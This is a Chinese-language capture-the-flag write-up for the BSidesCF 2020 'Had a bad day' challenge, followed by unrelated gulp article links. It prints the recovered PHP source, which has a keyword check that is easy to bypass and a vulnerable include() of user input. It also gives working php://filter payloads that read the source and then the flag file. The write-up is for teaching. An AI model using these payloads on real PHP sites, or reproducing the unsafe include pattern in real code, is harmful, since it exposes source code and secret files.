[BSidesCF 2020]Had a bad day1

打开题目

burp抓包看看源码

尝试传入flag

通过回显可以看出,限制了白名单,只能是woofers和meowers。但是我们猜不到是怎么过滤的,所以通过filter伪协议得到index.php的源码

可以尝试构造payload

?category=php://filter/read=convert.base64-encode/resource=index

得到base64编码,然后解码,得到源码

<html>

<head>

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="description" content="Images that spark joy">

<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">

<title>Had a bad day?</title>

<link rel="stylesheet" href="css/material.min.css">

<link rel="stylesheet" href="css/style.css">

</head>

<body>

<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">

<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">

<div class="mdl-layout__header-row">

<span class="mdl-layout-title">Had a bad day?</span>

<div class="mdl-layout-spacer"></div>

<div>

</header>

<div class="page-ribbon"></div>

<main class="page-main mdl-layout__content">

<div class="page-container mdl-grid">

<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>

<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">

<div class="page-crumbs mdl-color-text--grey-500">

</div>

<h3>Cheer up!</h3>

<p>

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

</p>

<div class="page-include">

<?php

$file = $_GET['category'];

if(isset($file))

{

if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){

include ($file . '.php');

}

else{

echo "Sorry, we currently only support woofers and meowers.";

}

}

?>

</div>

<form action="index.php" method="get" id="choice">

<center><button οnclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>

<button οnclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>

</form>

</div>

</div>

</main>

</div>

<script src="js/material.min.js"></script>

</body>

</html>

代码审计,构造payload

?category=php://filter/read=convert.base64-encode/index/resource=flag

然后把得到的代码用base64解码得到flag

相关推荐
不cong明的亚子16 天前
一些引入依赖,提示引入方式报错的问题
自动化·gulp·gulp-filter
不cong明的亚子18 天前
gulp应该怎么用,前端批量自动化替换文件
前端·自动化·gulp
CaptainDrake1 个月前
自动化工具 Gulp
自动化·gulp
GDAL2 个月前
gulp入门教程14:vinyl
前端·javascript·gulp
GDAL2 个月前
gulp入门教程11:series()
gulp
秋雨凉人心3 个月前
Webpack和GuIp打包原理以及不同
开发语言·前端·javascript·webpack·gulp
科技首发4 个月前
从“游戏科学”到玄机科技:《黑神话:悟空》的视角打开动漫宇宙
gulp
我爱吃干果4 个月前
自动化构建工具Gulp
运维·javascript·node.js·自动化·gulp
qq_263_tohua4 个月前
00067期 matlab中的asv文件
gulp